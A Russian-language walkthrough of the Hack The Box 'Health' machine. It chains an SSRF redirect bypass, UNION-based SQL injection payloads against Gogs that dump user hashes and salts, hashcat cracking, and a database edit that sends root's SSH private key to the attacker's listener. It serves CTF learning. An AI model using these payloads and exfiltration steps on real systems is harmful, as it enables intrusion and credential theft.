Мы уже рассказывали про взлом веб-сервера на Windows и Apache через SSRF. В этой статье продолжим тему SSRF и на примере прохождения средней по сложности уязвимой машины Hack The Box Health, рассмотрим атаку SSRF. Я покажу, как находить и эксплуатировать уязвимость SSRF и использовать SQL-инъекцию в GoGits.
Еще по теме: Взлом удаленного хоста через Git
SSRF-атака на примере прохождения HTB Health
Лучше подключаться к машине HTB с помощью VPN. И желательно не делать это со своего личного компа, на котором хранится чувствительная информация. Подробнее в статье «Как подключиться и использовать Hack The Box».
Сканирование портов
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.176 health.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Для этого отлично подходит популярный сканер Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Сканирование выявило два отрытых порта:
- 22 — служба OpenSSH 7.6p1
- 80 — веб‑сервер Apache 2.4.29.
Сразу заходим на веб‑сервер.

Попробуем заполнить необходимые поля и отправим данные. В полях URL можете указать адрес вашего веб‑сервера. Предварительно запустите его:
1 |
python3 -m http.server 8080 |

В логах веб‑сервера мы можем увидеть два запроса. Первый запрос — это GET на указанный Monitored URL, а второй запрос — POST на Payload URL. Так как http.server не отображает полные данные, немного покодим. Мы напишем приложение, которое будет выводить HTTP-заголовки, а в случае с запросом POST — еще и переданные данные.
Запускаем и делаем повторный запрос.

Видим, что в данных POST-запроса передается информация об указанных URL с пометкой down. Дадим какой‑нибудь ответ на запрос GET. Для этого попробуем изменить метод do_GET:

И теперь видно, что в данных запроса POST нам передают наш же ответ на запрос GET. Это наводит на мысль, о возможности реализации атаки SSRF — то есть подделки запросов.
Атака SSRF
В начале я решил попробовать добраться до файла /etc/passwd, для этого указал в качестве URL file:///etc/passwd/id_rsa, но вот что я получил:

Запросить данные с адреса 127.0.0.1 тоже не получилось, но я вспомнил старый трюк с редиректом. Так как проводится фильтрация именно введенных в поле URL данных, мы можем обратиться к 127.0.0.1 в обход этого поля. Для этого нужно отправить чекер на свою страницу, которая перешлет клиента на 127.0.0.1. Изменим метод do_GET для выполнения редиректа.
1 2 3 4 |
def do_GET(self): self.send_response(301) self.send_header('Location', 'http://127.0.0.1/') self.end_headers() |
Повторяем атаку и получаем уже знакомую страницу самого же сервера, что подтверждает наличие уязвимости SSRF.

Для поиска портов, которые могут быть открыты для подключения с локального хоста, можно воспользоваться SYN-сканированием.
1 |
sudo nmap -p- -sS --min-rate=1500 health.htb |
Находим порт 3000, который как раз фильтруется. Попробуем вытянуть данные с него. Указываем другой URL в обработчике GET:
1 |
self.send_header('Location', 'http://127.0.0.1:3000/') |
Для удобства я немного изменил обработчик POST, чтобы из ответа сервера автоматически извлекался код HTML, сохранялся в файл и открывался в браузере.
1 2 3 4 5 6 7 8 9 10 11 |
def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) print(post_data.decode('utf-8')) f = open('page.html', 'wt') f.write(json.loads(post_data.decode('utf-8'))['body']) f.close() subprocess.run(["firefox", "page.html"]) self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() |
Делаем новый запрос и в открывшемся браузере видим страницу авторизации Gogs.

Эта страница раскрывает нам версию платформы, что поможет при поиске уязвимостей. Один запрос к Google, и первая же ссылка дает нам описание готового эксплоита.

Таким образом мы узнаем, что в этой версии Gogs есть возможность провести SQL-инъекцию на странице search через параметр q.

Для эксплуатации нам нужно только менять URL в коде нашего обработчика GET-запросов. Приведенный в PoC пример у меня не сработал, поэтому пришлось немного переработать запрос. Вытянуть версию не получилось, но зато добиваемся выполнения вложенного SQL-запроса select '123’.
1 |
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/'123'),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/ |
Gogs SQL Injection
Итак, мы можем выполнять запросы, но получить информацию о структуре таблицы у меня не вышло. Поэтому я скачал исходники Gogs и порылся в них. Там находим структуру User.

Нас здесь интересуют поля name, passwd и salt.
1 |
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/name/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/ |
1 |
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/passwd/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/ |
1 |
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/salt/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/ |
Теперь надо разобраться с алгоритмом хеширования. Так, в issue на GitHub находим упоминание самого алгоритма.

И уже по ключевому слову находим сам код в исходниках.

У нас есть все параметры для перебора хеша. Приводим его к формату hashcat:
1 2 |
echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -ps | base64 echo 'sO3XIbeW14' | base64 |
А теперь брутим хеш, для чего указываем режим 10900:
1 |
hashcat -m 10900 sha.hash rockyou.txt |
С полученным паролем подключаемся по SSH и забираем первый флаг.

Повышение привилегий
Теперь, когда мы получили доступ к хосту, нам нужно собрать информацию, которая поможет в повышении привилегий. Источников очень много, и для автоматизации поисков я обычно использую скрипты PEASS. С их помощью обнаруживаем учетные данные для подключения к базе данных.

Больше ничего найти не удалось, да и сама база ничего нам не дала. Тогда отследим запускаемые на хосте процессы с помощью pspy64. Простое ожидание ничего не дало — все спокойно. Тогда попробуем пройти по всем функциям сайта и посмотреть, приведет ли это к выполнению каких‑либо программ в системе. После создания веб‑хука в консоли посыпались логи.


Подключимся к базе данных и посмотрим содержимое таблицы tasks.
1 2 |
mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+ select * from tasks; |
И получаем указанный нами URL, данные по которому будут отправлены на наш сервер! В самом начале прохождения я пытался получить содержимое файла, но помешал фильтр. Теперь же мы можем, минуя фильтры, просто подменить запись в базе данных. Эксфильтровать попробуем приватный SSH-ключ рута.
1 |
update tasks set monitoredUrl='file:///root/.ssh/id_rsa'; |

И на открытый листенер прилетает запрос, где мы можем найти SSH-ключ пользователя root. С этим ключом подключаемся к системе и забираем второй флаг.

Заключение
Статья подошла к концу. Надеюсь вам было интересно и материал поможет в понимании атаки SSRF.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Лучшие онлайн CTF для новичков
- Популярные инструменты для поиска уязвимостей сайтов
- Альтернатива Burp Collaborator для поиска уязвимостей SSRF